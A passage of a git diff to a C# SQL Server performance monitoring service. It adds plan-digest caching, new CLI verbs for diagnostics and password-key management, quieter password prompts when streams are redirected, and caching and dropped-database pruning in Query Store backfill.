+    /// <param name="onFalseHit">Called with the identity of each would-hit counted as a false hit and which case it was (#5158):
+    /// a shape that changed, or a case where no two shapes were compared.</param>
+    internal static Outcome ApplyShadow(
+        int serverId,
+        PlanDigestCache<ProcedureStatsPlanKey> cache,
+        IReadOnlyList<ProcedureStatsCollector.Row> rows,
+        long captureOrdinal,
+        DateTime nowUtc,
+        Action<ProcedureStatsPlanKey, FalseHitCause>? onFalseHit)
+    {
+        var outcome = new Outcome();
+        foreach (var row in rows)
+        {
+            if (row.PlanPhaseSkipped)
+            {
+                continue; /* #5449: outside the plan phase: no plan, no identity, and not a miss */
+            }
+
+            var rendered = row.QueryPlanXml is not null || row.QueryPlanXmlBytes is not null;
+            if (rendered)
+            {
+                outcome.Rendered++;
+                outcome.RenderedBytes += row.QueryPlanXmlBytes ?? 0;
+            }
+
+            if (ProcedureStatsPlanKey.TryCreate(serverId, row) is not { } key)
+            {
+                outcome.Miss++;
+                continue;
+            }
+
+            var inlineDigest = row.QueryPlanXml is null ? null : DigestOf(row.QueryPlanXml);
+            string? shape = null;
+            var shapeKnown = false;
+            if (cache.TryGet(key, nowUtc, out var entry) && !IsExpired(entry, captureOrdinal))
+            {
+                outcome.WouldHit++;
+                if (!rendered)
+                {
+                    continue; /* nothing was rendered to compare with */
+                }
+
+                var same = string.Equals(inlineDigest, entry.Digest, StringComparison.OrdinalIgnoreCase)
+                    && (inlineDigest is not null || entry.Bytes == row.QueryPlanXmlBytes);
+                if (same)
+                {
+                    continue;
+                }
+
+                /* The bytes differ. It is a false hit only when the shape does (#5158): grant feedback adjusts a cached
+                   plan in place, and that is not a new plan. A render with no text (over the cap) has no shape to
+                   compare, and neither has an entry cached without one; those stay false hits, as before. */
+                shape = row.QueryPlanXml is null ? null : ShapeOf(row.QueryPlanXml);
+                shapeKnown = true;
+                if (shape is not null && string.Equals(shape, entry.Shape, StringComparison.Ordinal))
+                {
+                    outcome.SameShape++;
+                }
+                else
+                {
+                    outcome.FalseHit++;
+                    var cause = row.QueryPlanXml is null ? FalseHitCause.OverCapRender
+                        : shape is null ? FalseHitCause.RenderUnparseable
+                        : entry.Shape is null ? FalseHitCause.EntryHasNoShape
+                        : FalseHitCause.ShapeChanged;
+                    switch (cause)
+                    {
+                        case FalseHitCause.OverCapRender: outcome.FalseHitOverCap++; break;
+                        case FalseHitCause.RenderUnparseable: outcome.FalseHitUnparsed++; break;
+                        case FalseHitCause.EntryHasNoShape: outcome.FalseHitNoShape++; break;
+                        default: outcome.FalseHitShape++; break;
+                    }
+
+                    onFalseHit?.Invoke(key, cause);
+                }
+            }
+            else
+            {
+                outcome.Miss++;
+                if (!rendered)
+                {
+                    continue;
+                }
+            }
+
+            /* The shape rides in the cache beside the digest, so the next render compares with it. */
+            if (!shapeKnown && row.QueryPlanXml is not null)
+            {
+                shape = ShapeOf(row.QueryPlanXml);
+            }
+
+            cache.AddPending(key, inlineDigest, row.QueryPlanXmlBytes, nowUtc, captureOrdinal, shape);
+            outcome.Pending.Add(key);
+        }
+
+        return outcome;
+    }
+
+    /// <summary>
+    /// On: the rows carry no plan. A recognized identity gets its cached digest and size; the rest are rendered by
+    /// <paramref name="fetch"/> when this is a capture cycle, at most <see cref="MaxMissesPerRun"/> in row order,
+    /// and on a cycle the cadence gate skips they ship no plan, as before. A row that cannot be keyed is rendered
+    /// like a miss but never cached.
+    /// </summary>
+    /// <param name="unjudgedOrdinals">Filled by <paramref name="fetch"/> with the position of each plan the statement
+    /// filter's budget could not cover: those are not cached.</param>
+    internal static async Task<Outcome> ApplyOnAsync(
+        int serverId,
+        PlanDigestCache<ProcedureStatsPlanKey> cache,
+        List<ProcedureStatsCollector.Row> rows,
+        bool captureCycle,
+        long captureOrdinal,
+        DateTime nowUtc,
+        PlanFetch fetch,
+        CancellationToken cancellationToken,
+        ISet<int>? unjudgedOrdinals = null)
+    {
+        var outcome = new Outcome();
+        var candidates = new List<(int RowIndex, ProcedureStatsPlanKey? Key, byte[] Handle)>();
+
+        for (var i = 0; i < rows.Count; i++)
+        {
+            var row = rows[i];
+            if (row.PlanPhaseSkipped)
+            {
+                continue; /* #5449: outside the plan phase: no plan, no identity, and not a miss */
+            }
+
+            var key = ProcedureStatsPlanKey.TryCreate(serverId, row);
+            if (key is { } k && cache.TryGet(k, nowUtc, out var entry) && !IsExpired(entry, captureOrdinal))
+            {
+                /* The cached size rides along with the digest. A null digest is an over-cap plan: the size and no plan. */
+                rows[i] = row with { KnownPlanDigest = entry.Digest, QueryPlanXmlBytes = entry.Bytes };
+                outcome.Hit++;
+                continue;
+            }
+
+            outcome.Miss++;
+            if (captureCycle && ProcedureStatsCollector.TryParsePlanHandle(row.PlanHandle, out var handle))
+            {
+                candidates.Add((i, key, handle));
+            }
+        }
+
+        if (candidates.Count > MaxMissesPerRun)
+        {
+            outcome.OverCap = candidates.Count - MaxMissesPerRun;
+            candidates.RemoveRange(MaxMissesPerRun, candidates.Count - MaxMissesPerRun);
+        }
+
+        if (candidates.Count == 0)
+        {
+            return outcome;
+        }
+
+        try
+        {
+            var fetched = await fetch(candidates.ConvertAll(c => c.Handle), cancellationToken);
+            foreach (var (ord, result) in fetched)
+            {
+                if ((uint)ord >= (uint)candidates.Count)
+                {
+                    continue;
+                }
+
+                var (rowIndex, key, _) = candidates[ord];
+                if (result.PlanXml is null && result.Bytes is null)
+                {
+                    continue; /* aged out between the two queries: no plan and no size, nothing worth caching */
+                }
+
+                outcome.Rendered++;
+                outcome.RenderedBytes += result.Bytes ?? 0;
+                rows[rowIndex] = rows[rowIndex] with { QueryPlanXml = result.PlanXml, QueryPlanXmlBytes = result.Bytes };
+
+                /* #4348: a plan the filter's budget could not cover is stored as the marker for this cycle but never cached,
+                   so the next cycle fetches and filters it again. A plan withheld whole for its own sake (its judge threw,
+                   it cannot be parsed) is a settled outcome and is cached like any fetched plan (A-L4). */
+                if (key is { } cacheKey && unjudgedOrdinals?.Contains(ord) != true)
+                {
+                    cache.AddPending(
+                        cacheKey, result.PlanXml is null ? null : DigestOf(result.PlanXml), result.Bytes, nowUtc, captureOrdinal);
+                    outcome.Pending.Add(cacheKey);
+                }
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException and not OutOfMemoryException
+                                   && !cancellationToken.IsCancellationRequested)
+        {
+            outcome.FetchFailure = ex;
+        }
+
+        return outcome;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Program.cs b/Darling/PerformanceMonitor.Darling.Service/Program.cs
index 87d8caa397..c2234f453f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Program.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Program.cs
@@ -9,9 +9,11 @@
 using System;
 using System.Linq;
 using System.Threading;
+using System.Threading.Tasks;
 using Microsoft.Extensions.DependencyInjection;
 using Microsoft.Extensions.Hosting;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
@@ -55,7 +57,15 @@ instance that fought the first over the bundled PostgreSQL and ports — the out
         return 1;
     }
 
-    Console.Error.Write("Password: ");
+    /* #5413: Windows PowerShell 5.1 turns every line a native command writes to a captured or redirected error
+       stream into an error record, so under $ErrorActionPreference = 'Stop' a successful scripted run stopped the
+       script. The prompt goes to stderr so stdout stays exactly the blob (`... > blob.txt`), but only a person at a
+       keyboard needs it; a pipe or a file feeding stdin does not. */
+    if (!Console.IsInputRedirected)
+    {
+        Console.Error.Write("Password: ");
+    }
+
     var plaintext = Console.ReadLine();
     if (string.IsNullOrEmpty(plaintext))
     {
@@ -67,7 +77,13 @@ instance that fought the first over the bundled PostgreSQL and ports — the out
     }
 
     Console.WriteLine(DarlingSecrets.Protect(plaintext));
-    Console.Error.WriteLine("Paste the line above into the server's \"encryptedPassword\" in darling.json.");
+
+    /* The paste hint is for a person reading the console; a script that captured stdout is not reading it. */
+    if (!Console.IsOutputRedirected)
+    {
+        Console.Error.WriteLine("Paste the line above into the server's \"encryptedPassword\" in darling.json.");
+    }
+
     return 0;
 }
 
@@ -90,6 +106,13 @@ explicit config path (else the usual DARLING_CONFIG / next-to-binary resolution)
     return await DarlingCliCommands.CheckSettingsAsync(configPath, wantsJson, Console.Out, Console.Error, CancellationToken.None);
 }
 
+/* CLI verb: write one aliased diagnostics file for a bug report (#5097). Every argument after the verb is its own
+   (path, --hours, --server, --log-dir, --config, --alias-map, --force). Exit code: see DarlingCliCommands.DiagnosticsBundleExitCode. */
+if (args.Length > 0 && DarlingCliCommands.IsDiagnosticsBundleVerb(args[0]))
+{
+    return await DarlingCliCommands.DiagnosticsBundleAsync(args.Skip(1).ToArray(), Console.Out, Console.Error, CancellationToken.None);
+}
+
 /* CLI verb: print a paste-ready remote-viewer connection string + the server TLS cert for the opt-in store
    network endpoint (darling-network-endpoints D8). It DPAPI-decrypts the network role's credential, so it is
    Windows-only (same guard shape as --encrypt-password). Optional second arg = an explicit config path. */
@@ -303,6 +326,34 @@ parsed STRICTLY inside the verb (never guess — #1581's posture), so the gramma
         enable: DarlingCliCommands.IsEnableCollectorVerb(args[0]), args[1..], Console.Out, Console.Error, CancellationToken.None);
 }
 
+/* CLI verb: --reset-password-key [--config <path>] (#5366) - mark the service's current password key replaced, so the next
+   start makes a new one, and print how many saved passwords must be entered again. Store only: it never touches a key
+   file. Same platform posture as the verbs around it (Windows only for a MANAGED store credential, which the verb checks). */
+if (args.Length > 0 && DarlingCliCommands.IsResetPasswordKeyVerb(args[0]))
+{
+    return await DarlingCliCommands.ResetPasswordKeyAsync(args[1..], Console.Out, Console.Error, CancellationToken.None);
+}
+
+/* CLI verb: --self-check-password-key <vector-path> (#5366) - hidden: not in the usage text. Runs the real password key file,
+   file identity and sealed-value code in a fresh temporary directory and exits non-zero on any failure. The Linux build job
+   runs it inside the built image, because the test project runs on Windows. It reads no configuration and opens no store. */
+if (args.Length > 0 && DarlingCliCommands.IsSelfCheckPasswordKeyVerb(args[0]))
+{
+    return DarlingPasswordKeySelfCheck.Run(args[1..], Console.Out, Console.Error);
+}
+
+/* CLI verb: --set-collector-run-at <collector> <HH:MM|none|default> [--server <name>] [--config <path>] (#4938) — set,
+   stop or clear the time of day a collector that runs once a day starts, fleet-wide or for one server, and print the
+   rows read back from the store. A heavy daily collector otherwise starts whenever the service happened to start, which
+   is often a busy hour; the time is on the monitored server's own clock. Same shape and the same platform posture as
+   --enable-collector directly above: the verb owns no SQL (it executes the command plane's own plan), NO Windows guard
+   here because Windows is needed only for a MANAGED store credential (DPAPI), which the verb checks itself, and the
+   trailing arguments are parsed STRICTLY inside the verb (never guess — #1581's posture). */
+if (args.Length > 0 && DarlingCliCommands.IsSetCollectorRunAtVerb(args[0]))
+{
+    return await DarlingCliCommands.SetCollectorRunAtAsync(args[1..], Console.Out, Console.Error, CancellationToken.None);
+}
+
 /* CLI verb: --drop-xe-sessions <server-name> [--dry-run] [--config <path>] | --print-sql (#4732) — drop the Extended
    Events sessions (the deadlock and blocked-process ring buffers, and the opt-in long-query completions one)
    Darling created on a server this service still monitors (run just before the server is removed; after removal,
@@ -451,6 +502,11 @@ diagnostic surface (see DarlingFileLoggerProvider remarks). Registered unconditi
    log line ever reported its expiry). */
 builder.Services.AddSingleton<WebTlsCertificateState>();
 
+/* #5288: the MCP listener's twin of the seam above, a SEPARATE singleton so each listener publishes and
+   clears only its own certificate: a web restart can never clear or resolve an MCP alert, and a certificate
+   both listeners serve is published to both and alerts (and resolves) twice, independently. */
+builder.Services.AddSingleton<McpTlsCertificateState>();
+
 /* #2298: the worker-published monitored-server registry the MCP host's plan-fetch resolver reads,
    replacing its own mcp-role re-read of rows whose encrypted_password column that role is
    deliberately denied. */
@@ -479,6 +535,13 @@ the Windows service and every other deployment leave it unset and nothing is wri
    flush and the web host's recording are separate hosted services in the one process. */
 builder.Services.AddSingleton<ReadLatencyAccumulator>();
 
+/* #5097: the slow-read record's queue. The three recorders offer to it; the worker runs its one writer once the store
+   is migrated. */
+builder.Services.AddSingleton<SlowReadLog>();
+
+/* #5097: the per-statement timing listener for reads; samples only inside a ReadScope that asked for capture. */
+ReadStatementCapture.Register();
+
 builder.Services.AddHostedService<DarlingWorker>();
 
 /* AN4: the analysis MCP tools over Streamable HTTP — registered always, self-gating on
@@ -523,6 +586,11 @@ acquired and released on THIS (main) thread, around the blocking host.Run(), hon
     }
 }
 
+/* #5320 N1: the statement filter's judge takes 250-900 ms to build. Build it in the background now, so the
+   first MCP tool call, plan analysis or alert after start does not wait for it. Placed after the single-instance
+   guard so a refused second instance does not pay for it. */
+_ = Task.Run(SensitiveStatements.WarmUp);
+
 try
 {
     host.Run();
diff --git a/Darling/PerformanceMonitor.Darling.Service/QueryStatsPlanKey.cs b/Darling/PerformanceMonitor.Darling.Service/QueryStatsPlanKey.cs
new file mode 100644
index 0000000000..1e8f151e3a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/QueryStatsPlanKey.cs
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The identity of one <c>query_stats</c> statement plan (#5158), the key of its
+/// <see cref="PlanDigestCache{TKey}"/>: the server, the database item the row came from, the
+/// <c>plan_handle</c> bytes, the statement's two offsets, <c>creation_time</c> and
+/// <c>plan_generation_num</c>.
+///
+/// <para><b>Why the last two.</b> A statement-level recompile keeps the same <c>plan_handle</c> and offsets
+/// but gets a new <c>creation_time</c> and a higher <c>plan_generation_num</c>, and its plan can differ.
+/// Without them a recompiled statement would hit the cache and keep sending the old plan's digest.</para>
+///
+/// <para>The handle compares by value: a struct holding a <c>byte[]</c> would otherwise compare references,
+/// and every run would miss.</para>
+/// </summary>
+internal readonly record struct QueryStatsPlanKey(
+    int ServerId,
+    string? DatabaseName,
+    byte[] PlanHandle,
+    int StartOffset,
+    int EndOffset,
+    DateTime? CreationTime,
+    long PlanGenerationNum) : IEquatable<QueryStatsPlanKey>
+{
+    public bool Equals(QueryStatsPlanKey other) =>
+        ServerId == other.ServerId
+        && string.Equals(DatabaseName, other.DatabaseName, StringComparison.Ordinal)
+        && PlanHandle.AsSpan().SequenceEqual(other.PlanHandle)
+        && StartOffset == other.StartOffset
+        && EndOffset == other.EndOffset
+        && CreationTime == other.CreationTime
+        && PlanGenerationNum == other.PlanGenerationNum;
+
+    public override int GetHashCode()
+    {
+        var hash = new HashCode();
+        hash.Add(ServerId);
+        hash.Add(DatabaseName, StringComparer.Ordinal);
+        hash.AddBytes(PlanHandle);
+        hash.Add(StartOffset);
+        hash.Add(EndOffset);
+        hash.Add(CreationTime);
+        hash.Add(PlanGenerationNum);
+        return hash.ToHashCode();
+    }
+
+    /// <summary>
+    /// The key for a row, or null when the row has no usable <c>plan_handle</c> (a handle the plan fetch
+    /// could not address). The row's handle is the <c>0x…</c> hex text the main query converts it to.
+    /// </summary>
+    public static QueryStatsPlanKey? TryCreate(int serverId, QueryStatsCollector.Row row)
+    {
+        ArgumentNullException.ThrowIfNull(row);
+
+        var text = row.PlanHandle;
+        if (text is null || text.Length < 4 || (text.Length - 2) % 2 != 0
+            || !text.StartsWith("0x", StringComparison.OrdinalIgnoreCase))
+        {
+            return null;
+        }
+
+        byte[] handle;
+        try
+        {
+            handle = Convert.FromHexString(text.AsSpan(2));
+        }
+        catch (FormatException)
+        {
+            return null;
+        }
+
+        if (handle.Length == 0 || handle.Length > 64)
+        {
+            return null;
+        }
+
+        return new QueryStatsPlanKey(
+            serverId, row.DatabaseName, handle, row.StatementStartOffset, row.StatementEndOffset,
+            row.CreationTime, row.PlanGenerationNum);
+    }
+
+    /// <summary>The address <see cref="QueryStatsCollector.BuildPlanFetchQuery"/> renders a plan from.</summary>
+    public QueryStatsCollector.PlanFetchKey ToFetchKey() => new(PlanHandle, StartOffset, EndOffset);
+
+    public override string ToString() =>
+        "plan_handle 0x" + Convert.ToHexString(PlanHandle) + " ["
+        + StartOffset.ToString(CultureInfo.InvariantCulture) + ","
+        + EndOffset.ToString(CultureInfo.InvariantCulture) + "]";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs b/Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs
index be4e4737ae..d48df125d3 100644
--- a/Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs
@@ -9,6 +9,7 @@
 using System;
 using System.Collections.Generic;
 using System.Globalization;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
@@ -145,6 +146,14 @@ public static TimeSpan HorizonFor(bool hasContinuousAggregates)
        say — the conservative direction, since the narrower horizon cannot produce a tier split. */
     private readonly Func<bool> _hasContinuousAggregates;
 
+    /* #5483: a server's effective database_states interval in minutes, which sets how old a snapshot may be before the
+       gone-database check ignores it. Null = the one-hour floor alone (tests and any non-Darling host). */
+    private readonly Func<int, int> _databaseStatesIntervalMinutes;
+
+    /// <summary>#5518: the store-write fence the candidate-list cache trusts. Null (a test, a host with no fence) means
+    /// no cache: every tick reads the list, as before.</summary>
+    private readonly QueryStoreWriteFence? _writeFence;
+
     /* #2164: the per-database text budget override in MB, read live like _capturePlans. Backfill slices
        carry the SAME nvarchar(max) query-text/plan-XML payload over the same link as a live tick, so the
        operator knob has to reach here too — a knob that only bounds the tick would leave the heavier of
@@ -158,8 +167,11 @@ public QueryStoreBackfill(
         ILogger? logger,
         Func<bool>? capturePlans = null,
         Func<int>? textBudgetMb = null,
-        Func<bool>? hasContinuousAggregates = null)
+        Func<bool>? hasContinuousAggregates = null,
+        Func<int, int>? databaseStatesIntervalMinutes = null,
+        QueryStoreWriteFence? writeFence = null)
     {
+        _writeFence = writeFence;
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
         _runner = runner ?? throw new ArgumentNullException(nameof(runner));
         _deltas = deltas ?? throw new ArgumentNullException(nameof(deltas));
@@ -168,6 +180,7 @@ public QueryStoreBackfill(
         /* Null provider = keep the collector's compile-time budget (tests and any non-Darling host). */
         _textBudgetMb = textBudgetMb ?? (() => 0);
         _hasContinuousAggregates = hasContinuousAggregates ?? (() => true);
+        _databaseStatesIntervalMinutes = databaseStatesIntervalMinutes ?? (_ => 0);
     }
 
     /// <summary>
@@ -217,6 +230,15 @@ and this is the designed response to it. */
            QueryStoreBackfillState.MergeHoleDatabases for why the union is required, not just cheaper. */
         var databases = await GetCandidateDatabasesAsync(server.ServerId, floorLimit, state, cancellationToken, server.Config.DisplayName);
 
+        /* #5483: a database the server no longer has is not a candidate. The list above is read from the rows this
+           store holds, so a dropped database stays in it until its rows age out of the horizon, and every tick
+           would otherwise try it and fail. Gated on the same AppliesTo that decides whether database_states is
+           collected at all: Azure SQL DB has no snapshot by design, so the read would be a guaranteed no-op. */
+        if (DatabaseStateCollector.Instance.AppliesTo(server.Target))
+        {
+            databases = await DropGoneDatabasesAsync(server.ServerId, databases, floorLimit, cancellationToken, server.Config.DisplayName);
+        }
+
         /* Databases whose slices keep failing: their slice is held back while any other database has work
            (see QueryStoreBackfillFailureLedger), then one of them is retried after the walk. */
         List<(string Database, DateTime Floor, DateTime Ceiling, bool IsHole)>? skipped = null;
@@ -591,6 +613,67 @@ private async Task<string> ChooseCandidateSqlAsync(NpgsqlConnection connection,
         return CandidateSql;
     }
 
+    /// <summary>#5518: how long a cached cut-chunk list is trusted with no read. The fence makes the cache exact for
+    /// every write this service makes, so this bounds only a row some OTHER writer adds (a restore, a hand-run
+    /// INSERT). The age is counted from when the read began, so such a row can be missed for about an hour: this
+    /// span, plus the wait for the next backfill tick that notices it (one tick, five minutes today). A database
+    /// missing from the list waits for that read; a hole key is never held back, because the hole union runs on every
+    /// tick.
+    ///
+    /// <para>The one case where waiting costs a little more than time: a database CREATED by a writer outside this
+    /// service, with rows inside the cut chunk and no done or hole key yet, can be missing for that span. The backfill's
+    /// floor moves on in the meantime, so up to about an hour of that database's oldest backfill window (about 5% of
+    /// the 23-hour window) is then skipped for good. Every write this service makes is exempt, since the fence names
+    /// the new database before its transaction opens.</para></summary>
+    internal static readonly TimeSpan CandidateCacheMaxAge = TimeSpan.FromHours(1);
+
+    /// <summary>The monotonic clock the cache ages by (<see cref="System.Diagnostics.Stopwatch.GetTimestamp"/>, so a
+    /// wall-clock step cannot stretch the bound); a test replaces it.</summary>
+    internal Func<long> TimestampForCandidateCache { get; set; } = static () => System.Diagnostics.Stopwatch.GetTimestamp();
+
+    /// <summary>Runs after the candidate read has returned its rows and before the list is kept; a test writes through
+    /// the fence here, which is exactly the race the snapshot taken BEFORE the read closes.</summary>
+    internal Func<Task>? AfterCandidateReadForTests { get; set; }
+
+    /// <summary>How many times the candidate list was READ from the store (not served from the cache). For the tests
+    /// that pin the cache.</summary>
+    internal int CandidateStoreReadsForTests => Volatile.Read(ref _candidateStoreReads);
+
+    private int _candidateStoreReads;
+
+    /// <summary>#5518: forgets a removed server's cached list and the fence's database names for it, so neither map
+    /// keeps an entry for a server that no longer exists. A re-added server starts from a read.</summary>
+    internal void ForgetServer(int serverId)
+    {
+        _candidateCache.TryRemove(serverId, out _);
+        _writeFence?.ForgetServer(serverId);
+    }
+
+    private sealed record CandidateCacheEntry(string Sql, List<string> Names, IReadOnlySet<string> NameSet, long Sequence, long ReadStartedTimestamp);
+
+    private readonly System.Collections.Concurrent.ConcurrentDictionary<int, CandidateCacheEntry> _candidateCache = new();
+
+    /// <summary>#5518: true when a cached cut-chunk list still answers the read exactly. The statement text names the
+    /// cut chunk's start, so a new chunk (the cut moved) never matches. Within one chunk the list can only gain a
+    /// name, and every write this service makes records the names it writes in the fence BEFORE its transaction, so
+    /// a name outside the list written since the read invalidates it. The age bound covers writers outside the
+    /// fence.</summary>
+    private bool TryServeCandidatesFromCache(int serverId, string sql, out List<string> names)
+    {
+        names = [];
+        if (_writeFence is null
+            || !_candidateCache.TryGetValue(serverId, out var entry)
+            || !string.Equals(entry.Sql, sql, StringComparison.Ordinal)
+            || System.Diagnostics.Stopwatch.GetElapsedTime(entry.ReadStartedTimestamp, TimestampForCandidateCache()) >= CandidateCacheMaxAge
+            || _writeFence.WroteUnknownNameSince(serverId, entry.Sequence, entry.NameSet))
+        {
+            return false;
+        }
+
+        names = [.. entry.Names];
+        return true;
+    }
+
     /// <summary>Databases that shipped query_store rows since <paramref name="floorLimit"/>, unioned
     /// with every database a hole key already names — the backfill universe.
     ///
@@ -606,6 +689,11 @@ private async Task<string> ChooseCandidateSqlAsync(NpgsqlConnection connection,
     /// newer than <paramref name="floorLimit"/> is either done or has never made first contact, and
     /// either way this tick has nothing to do for it.</para>
     ///
+    /// <para>#5518: the cut-chunk read costs an index search per chunk per database, so on a TimescaleDB store it is
+    /// kept per server and served again until a write names a database outside it, the cut chunk moves or
+    /// <see cref="CandidateCacheMaxAge"/> (about an hour) passes (<see cref="TryServeCandidatesFromCache"/>). The hole union below is
+    /// applied to the cached list every tick, so a new hole key is never held back.</para>
+    ///
     /// <para>#4772: a failed read logs one Warning for each run of failures
     /// (<see cref="QueryStoreBackfillReadFailureRuns"/>); <paramref name="serverLabel"/> names the server in it
     /// and falls back to the id.</para>
@@ -618,6 +706,24 @@ internal async Task<List<string>> GetCandidateDatabasesAsync(
         {
             await using var connection = await _postgres.OpenConnectionAsync(cancellationToken);
             var sql = await ChooseCandidateSqlAsync(connection, floorLimit, cancellationToken);
+
+            /* #5518: only the cut-chunk read is cached. The floor-bound statement's window moves every tick, and the
+               plain-store walk is already a handful of index seeks. */
+            var cacheable = _writeFence is not null
+                && !string.Equals(sql, CandidateSql, StringComparison.Ordinal)
+                && !string.Equals(sql, WalkCandidateSql, StringComparison.Ordinal);
+            if (cacheable && TryServeCandidatesFromCache(serverId, sql, out var cached))
+            {
+                _readFailures.RecordSuccess(serverId);
+                return QueryStoreBackfillState.MergeHoleDatabases(cached, state);
+            }
+
+            /* Taken BEFORE the read: a write already in flight can commit after it, so a list read beside one is
+               returned but not kept. */
+            var nameSnapshot = cacheable ? _writeFence!.NameSnapshot(serverId) : default;
+            var readStartedTimestamp = TimestampForCandidateCache();
+            _candidateCache.TryRemove(serverId, out _);
+            Interlocked.Increment(ref _candidateStoreReads);
             using var command = new NpgsqlCommand(sql, connection);
             /* #2874: the enclosing BackfillSliceDeadline ABANDONS rather than cancels, so this is the only
                bound that reaches the statement. */
@@ -638,7 +744,18 @@ bound that reaches the statement. */
                 }
             }
 
+            if (AfterCandidateReadForTests is { } afterRead)
+            {
+                await afterRead();
+            }
+
             _readFailures.RecordSuccess(serverId);
+
+            if (cacheable && nameSnapshot.Quiet)
+            {
+                _candidateCache[serverId] = new CandidateCacheEntry(
+                    sql, [.. databases], new HashSet<string>(databases, StringComparer.Ordinal), nameSnapshot.Sequence, readStartedTimestamp);
+            }
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -661,6 +778,163 @@ bound that reaches the statement. */
         return QueryStoreBackfillState.MergeHoleDatabases(databases, state);
     }
 
+    /// <summary>#5483: databases already reported as gone, per (server, database), so the Information line below is
+    /// one per database per run of the service rather than one per tick. In memory on purpose, like the ledgers.
+    /// Trimmed each tick to the names still in the candidate list (see <see cref="DropGoneDatabasesAsync"/>), so it
+    /// never outgrows the candidates.</summary>
+    private readonly System.Collections.Concurrent.ConcurrentDictionary<(int ServerId, string Database), byte> _goneReported = new();
+
+    /// <summary>#5483: failed gone-database checks, one Warning per run of failures like the other backfill reads.
+    /// Its own instance, because the candidate read ends ITS run on every success and would otherwise end this
+    /// one too, warning every tick.</summary>
+    private readonly QueryStoreBackfillReadFailureRuns _goneCheckFailures = new();
+
+    /// <summary>How many databases the server's gone-report set holds. For the tests that pin the trim.</summary>
+    internal int GoneReportedCountForTests(int serverId) => _goneReported.Keys.Count(key => key.ServerId == serverId);
+
+    /// <summary>
+    /// #5483: removes from <paramref name="candidates"/> every database the server no longer has.
+    ///
+    /// <para><b>Why the candidate list needs this.</b> It is read from the rows this store holds
+    /// (<see cref="CandidateSql"/>), plus any database a hole key names, so a database dropped from the server stays
+    /// in it until its last row ages past the horizon. Each tick then reads its stored floor, finds the history does
+    /// not reach the horizon, and opens a slice that fails with "database does not exist" — every tick, and
+    /// <see cref="QueryStoreBackfillFailureLedger"/> only reorders the failures, it never retires them. The
+    /// <c>collector_state</c> keys were never the cause: a failed slice writes none, and the orphan prune
+    /// (<see cref="QueryStorePerDatabaseState"/>) retires a dropped database's <c>done:</c> and <c>hole:</c> keys, but the
+    /// candidate list does not read them.</para>
+    ///
+    /// <para><b>The rule is the prune's.</b> A candidate is gone when the newest <c>database_states</c> snapshot does
+    /// not name it AND the store holds no row for it at or after that snapshot. The second half is the same freshness
+    /// guard the prune has: a snapshot cannot judge a database created after it was taken, and such a database has
+    /// shipped rows since (<see cref="QueryStoreBackfillState.RowAtOrAfterSnapshotSql"/>). It holds whatever the
+    /// relative cadence of database_states and the backfill tick. No snapshot, or one with no database names,
+    /// drops nothing — an unknown list is not an empty one. No monitored-server round trip; the two reads are on
+    /// the store.</para>
+    ///
+    /// <para><b>A stale snapshot is no snapshot.</b> One older than three times the server's own database_states
+    /// interval (floor one hour, <see cref="QueryStoreBackfillState.IsSnapshotStale"/>) is unknown too. It still names a
+    /// database dropped after it, so it could not tell us anything, and each probe for a database it misses would
+    /// scan every chunk since it, compressed ones included, on every tick.</para>
+    ///
+    /// <para>A failed read keeps every candidate (the old behavior, never an invented drop) and logs one Warning for
+    /// each run of failures, the rest at Debug. A database found gone also forgets its in-memory failure counts, which
+    /// nothing else would ever clear.</para>
+    /// </summary>
+    internal async Task<List<string>> DropGoneDatabasesAsync(
+        int serverId, List<string> candidates, DateTime floorLimit, CancellationToken cancellationToken, string? serverLabel = null)
+    {
+        /* Entries for databases that left the candidate list (their rows aged out) can never be reported again, so
+           they go now, before any early return below. */
+        var candidateSet = new HashSet<string>(candidates, StringComparer.Ordinal);
+        foreach (var key in _goneReported.Keys)
+        {
+            if (key.ServerId == serverId && !candidateSet.Contains(key.Database))
+            {
+                _goneReported.TryRemove(key, out _);
+            }
+        }
+
+        if (candidates.Count == 0)
+        {
+            return candidates;
+        }
+
+        try
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(cancellationToken);
+
+            var snapshotDatabases = new HashSet<string>(StringComparer.Ordinal);
+            DateTime? newest = null;
+            using (var snapshot = new NpgsqlCommand(QueryStoreBackfillState.NewestSnapshotSql, connection))
+            {
+                snapshot.CommandTimeout = ServiceCommandDeadlines.QueryStoreBackfillReadSeconds;
+                snapshot.Parameters.AddWithValue(serverId);
+                snapshot.Parameters.AddWithValue(DateTime.SpecifyKind(floorLimit, DateTimeKind.Unspecified));
+                await using var reader = await snapshot.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    newest = reader.GetDateTime(1);
+                    if (!reader.IsDBNull(0))
+                    {
+                        snapshotDatabases.Add(reader.GetString(0));
+                    }
+                }
+            }
+
+            var result = candidates;
+            if (newest is DateTime snapshotTime
+                && snapshotDatabases.Count > 0
+                && !QueryStoreBackfillState.IsSnapshotStale(snapshotTime, DateTime.UtcNow, _databaseStatesIntervalMinutes(serverId)))
+            {
+                var absent = QueryStoreBackfillState.AbsentFromSnapshot(candidates, snapshotDatabases);
+                foreach (var candidate in candidates)
+                {
+                    if (snapshotDatabases.Contains(candidate))
+                    {
